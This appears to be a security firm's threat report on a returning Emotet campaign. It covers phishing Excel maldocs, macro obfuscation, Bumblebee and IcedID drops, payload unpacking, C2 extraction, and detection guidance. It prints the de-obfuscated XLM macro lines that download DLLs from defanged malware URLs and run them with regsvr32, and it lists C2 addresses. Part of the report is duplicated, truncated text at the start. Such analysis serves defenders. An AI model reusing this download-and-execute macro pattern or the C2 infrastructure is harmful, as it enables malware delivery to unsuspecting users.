- **923715af8f2e49242e18210c143ffd69300cdf675f61ae33c2f2fcbab6df07e2**
- **c58b13dc51e572ec288d97aa255d55884d7418466b8381afd1a4278a0be87427**
- **d3d0e3512bf398aa0699fe1a57cd769fd0ef1801c110aea63c469f7632f36d50**

As far as other types of threats are concerned, a recent report from Proofpoint showed that Emotet is delivering a new module that executes XMRig (the most common Monero miner). Consequently, detecting Emotet often means that the attack is more thorough than expected and conversely the detection of coinminers/loaders shall not be overlooked.

Code Analysis of a recent Emotet sample

To better understand Emotet's recent evolutions and new features, we proceeded to a code analysis of a recent sample of this malware Hash of the analyzed sample (sha256: 06b3d3c50da5054b9e37fb6c429c560484be457a09a900b21b5185cf10128ed4). First, we carried on a static analysis of such a sample. The high entropy of the .text section of the binary, as depicted in Figure 17, suggests that this malware is probably packed. This is also suggested by the presence of randomized unreadable strings in the sample.

%22%22

Figure 17 High entropy of the text section of the binary suggests that it is probably packed as viewed in Detect-it-easy open-source tool.

At this stage of the analysis, the sample was loaded into the debugger x64dbg to unpack Emotet. For that purpose, a breakpoint was set on calls to some Windows APIs such as %22VirtualAlloc%22 (allocating memory). Once this breakpoint is reached, it is possible to observe in the return of the VirtualAlloc function that the malware allocates memory space and wrote a binary (MZ) in the RAX register.

%22%22

Figure 18 Memory dump of the RAX register containing the malicious Emotet PE file. Hash of the file (sha256): 04c40a669fcfcd20bd429cbe4f78c71e8403ca70f804262a24024cb40dba321b

Once the binary is unpacked, we obtain the final **Emotet** payload which is a 64bit dll.

%22%22

Figure 19 Disassembly view (left) and pseudocode view (right) of a function returning the C2 IP and port.

%22%22

Figure 20: Another example of those operations.

At first glance, the static analysis of the dll seems particularly difficult because of the heavy code obfuscation used. Simple expressions were transformed into mathematical operations repeated multiple times. Sometimes the results of these operations are passed in a function that will never be used in the program.

IP addresses and ports of the C2 servers are obfuscated in functions, each of those functions corresponding to one specific C2. As we can see, instead of having those constants in the code, Emotet's developers are using a series of logical operations to build them. However, it is easy to bypass this obfuscation technique since the display of those constants has been automatically simplified in pseudocode. Therefore, the effort of the developers of Emotet to hinder analysis of the malware's code appears completely moot.

%22%22

Figure 21 Disassembly view (left) and pseudocode view (right) of a function returning the C2 IP and port.

This function is referenced in a list of several other functions also containing the IP addresses and ports of other C2.

%22%22

Figure 22 Pointers to every function containing C2 information. It is possible to find in this list the function previously analyzed.

Since **Emotet** chose obfuscation over encryption to hide its C2 configuration, we could simply emulate those functions, or even run them in a debugger to retrieve IP/port information in plain text.

As far as Emotet 64-bit emulation is concerned, we used "Dumpulator" to emulate the function returning the C2's information.

%22%22

Figure 23 Emulation result for the given function returns in this example an IP address: 159.65.88%91.%9310 and a Port: 8080

A further innovation of recent Emotet samples lies in the way it encrypts its network communications. Previously, Emotet was used to hide its C2 HTTP network traffic via an AES symmetric key encrypted by a hard-coded RSA public key. **Emotet** now uses (EDCH) public key. Furthermore, Emotet uses a hard-coded (ECDSA) public key for data validation. From the studied unpacked sample, we could retrieve the following information:

ECDH:MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE86M1tQ4uK/Q1Vs0KTCk+fPEQ3cuwTyCz+gIgzky2DB5Elr60DubJW5q9Tr2dj8/gEFs0TII

ECDSA:
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQF90tsTY3Aw9HwZ6N9y5+be9XoovpqHyD6F5DRTl9THosAoePIs/e5AdJiYxhmV8Gq3Zw1ysSP

Infrastructure

The configurations vary according to the samples and allow us to identify which payload is .

We cross-referenced these addresses with the command-and-control servers referenced on Feodo Tracker. Some were still active while others had been disconnected after being publicly reported. The configurations contained IP addresses associated with specific ports (TCP ports like 80 (http) or 443 (https), or on different ports (8080, 7080, …)).

After a careful analysis of which service listing on such ports communicate with the payloads, we systematically found a nginx proxy server. This was deduced from the response headers returned from a simple get request method to fetch data.

While trying to find a differentiating element on these servers, we noticed a certain similarity: most of those servers exposed legitimate web services next to the service used for command & control on a different port. These commonalities are summarized in two Maltego graphs depicted in Figure 23 and Figure 24.

%22%22

Figure 24 Maltego graph of Emotet's epoch 4 C2 proxies with legitimate services impacted by vulnerabilities.

%22%22

Figure 25 Maltego graph of Emotet's epoch 5 C2 proxies with legitimate services and vulnerabilities.

In addition to exposing legitimate web services, all these servers have numerous vulnerabilities according to Shodan. We concluded, with a moderate level of confidence, that these servers have limited security and may have been compromised.

Conclusion

The present report provides a straight-forward and up-to-date analysis of the ongoing Emotet campaign, presently distributing hundreds of thousands of emails per day. This investigation highlights notable changes in the modus operandi of Emotet's operators (TA545), such as new ways to social engineer its victims to execute malicious documents used to deploy Emotet. Beyond these new methods leveraged by Emotet for initial access, the present report suggests that the change in the obfuscation technique of the main payload does not hinder an easy extraction of the configuration of the malware. This shows that Emotet's developers may not understand how modern decompilers actually work. We also showed that since its return, Emotet has been seen dropping IcedID and Bumblebee malwares via Epoch 4 botnets. We anticipate that further variants and techniques will surface in the future with fewer or greater volumes of spam.

The present report also provides several tips to analyze the whole attack chain leveraged by Emotet as well as some recommendations to defend against it.

Actionable content

As we have seen in the main text, Emotet spreaders were forced to adapt and now try to lure users by attempting them to copy the maldoc into a whitelisted directory path on the disk. We recommend monitoring any execution of XLS files arising from those directories. It is also recommended to make employees aware of this new technique via sensibilization training sessions and simulated phishing attacks.

Emotet is known to be highly polymorphic (i.e., the ability of code to change its identifiable features while maintaining its functionality) and tends to embed more and more threatening modules. Emotet often repacks its dropper and changes its modules loaded to stay ahead of signature-based detection solution. Although its functionalities might not vary that much, these changes are enough to bypass pattern-matching and footprint detection. More subtle detection (EDR, behavioral analysis) would be required to detect the initial infection.

We draw your attention to one checker and complementary tools:

- A relevant free tool to defend against Emotet, which is dubbed EmoCheck, was released a while ago by the JPCERT (available here on their Github repository). This checker might be relevant particularly for forensics teams when they investigate workstations or servers that might have been infected by Emotet. Emocheck-ReportChecker can also be helpful as it generates statistics out of numerous Emocheck reports

- Another relevant tool named EmoKill. This program was inspired from the detection rules of Emocheck and was compiled and shared on Github.

To draft this report, Intrinsec studied commonalities of XLS maldocs sent to Emotet's victims as spearphishing attachments. One common metadata that could be leveraged on VirusTotal Intel for hunting purposes goes as follow:

> magic:%22CDF V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: **1251**, ***Author: Gydar, Last Saved By: Gydar***, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jun 04 18:19:34 2015, Security: 0%22

The code page identifier 1251 refers to Windows Cyrillic-Slavic encoding, mostly used by Russians, Bulgarians, Serbians and Macedonians. It is also worth noting that all results of the aforementioned query on VT have the same filesize of 255 kB

Several SIGMA detection rules could be leveraged to detect an attack by Emotet malware:

- Detects network connections and DNS queries initiated by Regsvr32.exe
- Detects various anomalies in relation to regsvr32.exe
- Detects New Lolbin Process by Office Applications

A YARA detection rule provided by The DFIR Report

To detect all threats mentioned in this report (Emotet, IcedID, BumbleBee), defenders can also rely on relevant Abuse threat intel sources such as Feodotracker, ThreatFox and MalwareBazaar as well as the soon available **Intrinsec's IoCs feed**.

" content_last_edited="on|desktop" _builder_version="4.19.4″ _module_preset="default" text_orientation="justified" global_colors_info="{}"]

Our analysis starts with the first stage of the attack chain that uses a phishing email, more specifically a spear phishing attachment technique [T1566.001]. For this, we found and analyzed an email sent by Emotet upon a recent spam campaign that contains a malicious document (maldoc) attached to the email (see an example in Figure 1).

Figure 1 An example of emails which may lead to Emotet malware infection. As extensively seen in the past TTPs of Emotet, the latter fakes replies based on legitimate emails stolen from mail clients of Windows hosts previously infected. The Eml file of sha256: 910731579a78d2da6452bede7dfce8e1f89c285c22d8a7d40db2eafc2fcc45af was retrieved from VirusTotal.

Once the lured user opens the XLS file, a message box informs them that the document needs to be copied in a specific directory path to display the contents of the file (see Figure 2).

Emotet spreaders are now using a new social engineering technique to coerce the user to copy the Excel file into the Microsoft Office Templates folder before relaunching it. This is achieved via a fake yellow graphical ribbon pretending to be an official Microsoft warning. Because the Templates folder is considered a trusted location according to Microsoft Office policy, **the malicious macro will run immediately without a security warning (see actionable content and this ref to preempt the threat at this stage).** If you don't copy the file anywhere, it will still execute the macros as soon as you press Enable Content in the yellow security warning from Excel (not the fake one in the spreadsheet).

Figure 2 Message box displayed when opening the malicious document. As shown above, Microsoft informs the user with the functionality known as Mark of the web (MoTW) forcing Emotet spreaders to adapt. The latter therefore added a specific message to the file, mimicking the Excel security warning (the yellow horizontal bar above the content) and indicating that, to run the file, it must be placed in the whitelisted Office Templates folder.

It is striking that Emotet so far has not migrated away from Office macros to other delivery mechanisms like ISO and LNK files. Indeed, many malware families quickly adopted this workaround following Microsoft's recent announcement that it would begin disabling macros by default in Office documents downloaded from the internet.

At the bottom of the document is usually seen one or several sheets (up to six) with apparent blank cells being password protected as depicted in the Figure 3. We expect that this technique could slightly change in the future to evade heuristic signatures.

Figure 3 Excel maldoc with sheet protection added. If only one sheet is apparent in some encountered files, hidden sheets can be revealed with a right click option to pursue the analysis.

The Emotet spreaders relied on a sheet protection measure for the sheets so that the user cannot view the included macro formula. However, the password protection of Office can be broken via a well-known brute force technique in a reasonable amount of time or via a specific patching procedure. We retrieved the password using the first technique to reveal the cell contents and the macro content.

The password to unprotect the sheets and reveal its content is: *AABABAAABBB^*

Another trick to avoid analysis was to scatter and blank data in cells. by changing the color as shown in the Figure 4 so the XLM macro is not directly readable.

Figure 4 Malicious macro was scattered across the maldoc and hidden thanks to a white font color. Characters can be unveiled by changing the color of the cells.

Using Olevba, a free python tool, it is possible to find the cell containing the general formula concatenating the whole command executed upon the excel file opening (see the output result below in the textbox).

> SHEET: **Sheet6**, Macrosheet
>
> **CELL:G13**, =
> (((((((FORMULA((((((((((((‘Sheet1′!L24&’Sheet1′!L26)&’Sheet1′!L27)&’Sheet1′!L28)&’Sheet1′!L28)&’Sheet2′!F6)&’Sheet2′!N19)&’Sheet1′!F10
> 0

Another trick to slow down the analysis was to shrink the column G in sheet 6 as shown in Figure 5.

In the present case, a field called “Auto_Open074573589343075932583507257983232 09” was also observed. This latter automatically triggers the aforementioned formula visible in G13 cell when the workbook is opened (see this ref for details on this old technique).

Figure 5 shows 4 pairs of commands containing de-obfuscated hardcoded URLs which will serve for the second stage of the attack:

> =**CALL**(“urlmon”,”**URLDownloadToFileA**“,”JJCCBB”,0,”**https[:]//cs.com.sg/Backup/Bk778kXNKMiH5vH/**“,”..\oxnv1.ooccxx”,0,0)
>
> =**EXEC**(“C:\Windows\System32**regsvr32**.exe /S ..\oxnv1.ooccxx”)
>
> =**CALL**(“urlmon”,”**URLDownloadToFileA**“,”JJCCBB”,0,”**https[:]//j2ccamionmagasin.fr/css/1Mp8y/**“,”..\oxnv2.ooccxx”,0,0)
>
> =**EXEC**(“C:\Windows\System32**regsvr32**.exe /S ..\oxnv2.ooccxx”)
>
> =**CALL**(“urlmon”,”**URLDownloadToFileA**“,”JJCCBB”,0,”**http[:]//atici.net/old/PkZI74DD/**“,”..\oxnv3.ooccxx”,0,0)
>
> =**EXEC**(“C:\Windows\System32**regsvr32**.exe /S ..\oxnv3.ooccxx”)
>
> =**CALL**(“urlmon”,”**URLDownloadToFileA**“,”JJCCBB”,0,”**http[:]//clanbaker.org/css/khhl7kT2n69n/**“,”..\oxnv4.ooccxx”,0,0)
>
> =**EXEC**(“C:\Windows\System32**regsvr32**.exe /S ..\oxnv4.ooccxx”)

In the present case, a CALL function is used to download and save files to the disk, via the function *URLDownloadToFileA*, from URLs. It is followed by an EXEC function to execute each downloaded file via the *living off the land binary* (LOLBin) *regsvr32.exe*.

Four DLLs were then downloaded from those URLs. Three of these DLLs were copied in *%UserProfile%\AppData\Local* with random names in a dedicated folder also having a random name, probably to bypass detection:

- C:\Users\admin\AppData\Local\ClVoC\QrGkecuASUzF.dll
- C:\Users\admin\AppData\Local\WLifsjKOOF\EUaGZqSKWcHGU.dll
- C:\Users\admin\AppData\Local\WBoDkXTZxEMvgSGka\WpRogE.dll

The LOLBin regsvr32.exe is then used to execute those 4 downloaded DLLs:

Figure 6 The LOLBin regsvr32.exe is used to execute the previously downloaded DLLs.

regsvr32.exe will then communicate with a Korean IP address (**182.162.143.56**):

Figure 7 Networks communications showing direct requests to one of Emotet's C2.

This IP address belongs to the list of C2s extracted from the present sample.

As far as the persistence mechanism is concerned, the access is maintained on the system by adding multiple keys to the Windows registry, which will execute the DLL at every restart with **regsvr32.exe**:

Figure 8 Location path of the DLLs are saved in the Windows registry for persistence purposes.

Each key will start **regsvr32.exe** at the system's startup to execute the DLLs

Figure 9 Commands that will launch the dll at the start of the computer.

All described techniques (hidden sheets, password protection, white background and characters) and observed attack chain suggest that this campaign could be attributed to Emotet's epoch5 botnet, which leverages the SilentBuilder dropper.

EtterSilent Maldoc builder distribution

After having analysed several samples, we concluded from observed commonalities within the maldocs's metadata (see in the Actionable content section) that EtterSilent maldoc builder was leveraged for Emotet's distribution.

Ettersilent was created by a threat actor known as AshkERE on Russian speaking underground cybercriminal forums (Exploit and XSS). This threat actor appears as the sole seller and developer of EtterSilent (even though a teamwork remains possible). As a reminder, EtterSilent is a malicious document generator with embedded evasion defence techniques offering two types of weaponized Microsoft Office documents (maldocs). The most popular version seems the one leveraging macros, which is serving many other threats such as Gozi, IcedID, Trickbot, BazarLoader and Qbot.

EtterSilent came into favour with the cybercriminal community in 2021. Although its first mention dates to 2020, the term was really popularized on Exploit and XSS during the spring of 2021. EtterSilent was already considered at that time as a very efficient maldoc builder with low detection rates from security tools.

Figure 10 AshkERE detailing his social network contacts in order to avoid impersonation, while confirming his presence on XSS.

The economic model seems/seemed to be constituted around a subscription offer, which can be purchased by members (seems to only be possible for five people simultaneously). The threat actor also sold the 'EtterSilent Encrypt Edition' builder so intrusion sets could operate the tool themselves, offering an unlimited use of the tool for an initial price of 3000 dollars, lowered to 2500 dollars at the end of the operations (on November 30, 2021).

AshkERE is still present today with a similar username on Exploit and XSS and remains an active user even after having closed the EtterSilent sales thread. He no longer appears to be publicly selling EtterSilent, but possibly privately.

"Links with other malwares?"

It is worth noting that a similar Excel document analyzed in this report and used to spread Emotet was also observed to deliver additional malwares such as **Bumblebee** and **IcedID**, two major players in the current threat landscape.

While analyzing the network traffic of such payload upon dynamic malware analysis, a communicating IP address drew our attention. We indeed noticed the previously seen **Emotet** C2 (**182.162.143[.]56**) as shown in Figure 11:

Figure 11 Excel document with a sha256: 199a2e0e1bb46a5dd8eb3a58aa55de157f6005c65b70245e71cecec4905cc2c0 communicating to Emotet's C2.

Bumblebee infection started with a downloaded PowerShell script ('**tps1.ps1'**) used to download an additional dll ('**bb.dll'**) associated with the malware:

Figure 12 GET requesting the ps1 file that will later download the bumblebee dll.

The extracted config from this Bumblebee dll reveals the following information about the malware:

- **Botnet ID**: **0311t2**
- **List of C2:**
  - **39.65.8[.]170:443**
  - **103.144.139[.]156:443**
  - **107.189.30[.]231:443**
  - **91.245.254[.]101:443**
  - **194.135.33[.]127:443**

Bumblebee's configuration is contained inside the **.data** section of the binary amongst the RC4 encrypted strings. The RC4 decryption key is hard coded in this section in plain text.

We then observe that once **Bumblebee** is executed, the infected machine communicates with a C2 (**103.144.139[.]156**) that was discovered in the extracted list from the configuration.

Figure 13 Network traffic showing a connection to one of Bumblebee's C2s.

We can also observe connections to an IP address (**87.251.67[.]168**) associated with the **IcedID** malware:

Figure 14 Network traffic showing a connection to one of IcedID's C2.

This address resolves the domain **spkdeutshnewsupp[.]com** (see Figure 15) from which we could pivot and gather additional hashes of IcedID samples (Figure 16).

Figure 15 Packet containing the domain name.

Figure 16 Detection rate (6/95) of this IP address on VirusTotal Intelligence. Several malicious payloads associated with IcedID communicate with this domain.

From a pivot on VirusTotal intelligence we could gather additional **IcedID** samples hashes that communicate with this domain:

- **05a3a84096bcdc2a5cf87d07ede96aff7fd5037679f9585fee9a227c0d9cbf51**
- **4e79b28215998b57d79a5272e9114eff8fc6ea3c7aac626110d18087c7d1a12b**
- **748c98bd8fe9eaf024481251faa10a0abc631b0fb03758271526d813b57b2567**
- **923715af8f2e49242e18210c143ffd69300cdf675f61ae33c2f2fcbab6df07e2**
- **c58b13dc51e572ec288d97aa255d55884d7418466b8381afd1a4278a0be87427**
- **d3d0e3512bf398aa0699fe1a57cd769fd0ef1801c110aea63c469f7632f36d50**

As far as other types of threats are concerned, a recent report from Proofpoint showed that Emotet is delivering a new module that executes XMRig (the most common Monero miner). Consequently, detecting Emotet often means that the attack is more thorough than expected and conversely the detection of coinminers/loaders shall not be overlooked.

Code Analysis of a recent Emotet sample

To better understand Emotet's recent evolutions and new features, we proceeded to a code analysis of a recent sample of this malware Hash of the analyzed sample (sha256: 06b3d3c50da5054b9e37fb6c429c560484be457a09a900b21b5185cf10128ed4). First, we carried on a static analysis of such a sample. The high entropy of the .text section of the binary, as depicted in Figure 17, suggests that this malware is probably packed. This is also suggested by the presence of randomized unreadable strings in the sample.

Figure 17 High entropy of the text section of the binary suggests that it is probably packed as viewed in Detect-it-easy open-source tool.

At this stage of the analysis, the sample was loaded into the debugger x64dbg to unpack Emotet. For that purpose, a breakpoint was set on calls to some Windows APIs such as “VirtualAlloc” (allocating memory). Once this breakpoint is reached, it is possible to observe in the return of the VirtualAlloc function that the malware allocates memory space and wrote a binary (MZ) in the RAX register.

Figure 18 Memory dump of the RAX register containing the malicious Emotet PE file. Hash of the file (sha256): 04c40a669fcfcd20bd429cbe4f78c71e8403ca70f804262a24024cb40dba321b

Once the binary is unpacked, we obtain the final **Emotet** payload which is a 64bit dll.

At first glance, the static analysis of the dll seems particularly difficult because of the heavy code obfuscation used. Simple expressions were transformed into mathematical operations repeated multiple times. Sometimes the results of these operations are passed in a function that will never be used in the program.

Figure 19 Repeated mathematical operations used for obfuscation.

Figure 20: Another example of those operations.

IP addresses and ports of the C2 servers are obfuscated in functions, each of those functions corresponding to one specific C2. As we can see, instead of having those constants in the code, Emotet's developers are using a series of logical operations to build them. However, it is easy to bypass this obfuscation technique since the display of those constants has been automatically simplified in pseudocode. Therefore, the effort of the developers of Emotet to hinder analysis of the malware's code appears completely moot.

Figure 21 Disassembly view (left) and pseudocode view (right) of a function returning the C2 IP and port.

This function is referenced in a list of several other functions also containing the IP addresses and ports of other C2.

Figure 22 Pointers to every function containing C2 information. It is possible to find in this list the function previously analyzed.

Since **Emotet** chose obfuscation over encryption to hide its C2 configuration, we could simply emulate those functions, or even run them in a debugger to retrieve IP/port information in plain text.

As far as Emotet 64-bit emulation is concerned, we used "Dumpulator" to emulate the function returning the C2's information.

Figure 23 Emulation result for the given function returns in this example an IP address: 159.65.88[.]10 and a Port: 8080

A further innovation of recent Emotet samples lies in the way it encrypts its network communications. Previously, Emotet was used to hide its C2 HTTP network traffic via an AES symmetric key encrypted by a hard-coded RSA public key. **Emotet** now uses an **Elliptic Curve Diffie-Hellman** (EDCH) public key. Furthermore, Emotet uses a hard-coded **Elliptic-curve digital Signature Algorithm** (ECDSA) public key for data validation. From the studied unpacked sample, we could retrieve the following information:

ECDH:MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE86M1tQ4uK/Q1Vs0KTCk+fPEQ3cuwTyCz+gIgzky2DB5Elr60DubJW5q9Tr2dj8/gEFs0TII

ECDSA:
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQF90tsTY3Aw9HwZ6N9y5+be9XoovpqHyD6F5DRTl9THosAoePIs/e5AdJiYxhmV8Gq3Zw1ysSP

Infrastructure

After having extracted the configuration of different samples (see previous section), we managed to retrieve several IP addresses of command-and-control servers with which the payloads communicate. The configurations vary according to the samples and allow us to identify which payload is part of Epoch4 or Epoch5 according to its encryption key.

We cross-referenced these addresses with the command-and-control servers referenced on Feodo Tracker. Some were still active while others had been disconnected after being publicly reported. The configurations contained IP addresses associated with specific ports (TCP ports like 80 (http) or 443 (https), or on different ports (8080, 7080, …)).

After a careful analysis of which service listing on such ports communicate with the payloads, we systematically found a nginx proxy server. This was deduced from the response headers returned from a simple get request method to fetch data.

While trying to find a differentiating element on these servers, we noticed a certain similarity: most of those servers exposed legitimate web services next to the service used for command & control on a different port. These commonalities are summarized in two Maltego graphs depicted in Figure 23 and Figure 24.

Figure 24 Maltego graph of Emotet's epoch 4 C2 proxies with legitimate services impacted by vulnerabilities.

Figure 25 Maltego graph of Emotet's epoch 5 C2 proxies with legitimate services and vulnerabilities.

In addition to exposing legitimate web services, all these servers have numerous vulnerabilities according to Shodan. We concluded, with a moderate level of confidence, that these servers have limited security and may have been compromised.

Conclusion

The present report provides a straight-forward and up-to-date analysis of the ongoing Emotet campaign, presently distributing hundreds of thousands of emails per day. This investigation highlights notable changes in the modus operandi of Emotet's operators (TA545), such as new ways to social engineer its victims to execute malicious documents used to deploy Emotet. Beyond these new methods leveraged by Emotet for initial access, the present report suggests that the change in the obfuscation technique of the main payload does not hinder an easy extraction of the configuration of the malware. This shows that Emotet's developers may not understand how modern decompilers actually work. We also showed that since its return, Emotet has been seen dropping IcedID and Bumblebee malwares via Epoch 4 botnets. We anticipate that further variants and techniques will surface in the future with fewer or greater volumes of spam.

The present report also provides several tips to analyze the whole attack chain leveraged by Emotet as well as some recommendations to defend against it.

Actionable content

As we have seen in the main text, Emotet spreaders were forced to adapt and now try to lure users by attempting them to copy the maldoc into a whitelisted directory path on the disk. We recommend monitoring any execution of XLS files arising from those directories. It is also recommended to make employees aware of this new technique via sensibilization training sessions and simulated phishing attacks.

Emotet is known to be highly polymorphic (i.e., the ability of code to change its identifiable features while maintaining its functionality) and tends to embed more and more threatening modules. Emotet often repacks its dropper and changes its modules loaded to stay ahead of signature-based detection solution. Although its functionalities might not vary that much, these changes are enough to bypass pattern-matching and footprint detection. More subtle detection (EDR, behavioral analysis) would be required to detect the initial infection.

We draw your attention to one checker and complementary tools:

- A relevant free tool to defend against Emotet, which is dubbed EmoCheck, was released a while ago by the JPCERT (available here on their Github repository). This checker might be relevant particularly for forensics teams when they investigate workstations or servers that might have been infected by Emotet. Emocheck-ReportChecker can also be helpful as it generates statistics out of numerous Emocheck reports

- Another relevant tool named EmoKill. This program was inspired from the detection rules of Emocheck and was compiled and shared on Github.

To draft this report, Intrinsec studied commonalities of XLS maldocs sent to Emotet's victims as spearphishing attachments. One common metadata that could be leveraged on VirusTotal Intel for hunting purposes goes as follow:

> magic:"CDF V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: **1251**, ***Author: Gydar, Last Saved By: Gydar***, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jun 04 18:19:34 2015, Security: 0″

The code page identifier 1251 refers to Windows Cyrillic-Slavic encoding, mostly used by Russians, Bulgarians, Serbians and Macedonians. It is also worth noting that all results of the aforementioned query on VT have the same filesize of 255 kB

Several SIGMA detection rules could be leveraged to detect an attack by Emotet malware:

- Detects network connections and DNS queries initiated by Regsvr32.exe
- Detects various anomalies in relation to regsvr32.exe
- Detects New Lolbin Process by Office Applications

A YARA detection rule provided by The DFIR Report

To detect all threats mentioned in this report (Emotet, IcedID, BumbleBee), defenders can also rely on relevant Abuse threat intel sources such as Feodotracker, ThreatFox and MalwareBazaar as well as the soon available **Intrinsec's IoCs feed**.

Indicators of compromise

IoCs are available at https://github.com/Intrinsec/IOCs/tree/main/Emotet

[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fb_built="1″ _builder_version="4.19.4″ _module_preset="default" global_colors_info="{}"][et_pb_row _builder_version="4.19.4″ _module_preset="default" global_colors_info="{}"][et_pb_column type="4_4″ _builder_version="4.19.4″ _module_preset="default" global_colors_info="{}"][/et_pb_column][/et_pb_row][/et_pb_section]

Source: https://www.intrinsec.com/emotet-returns-and-deploys-loaders/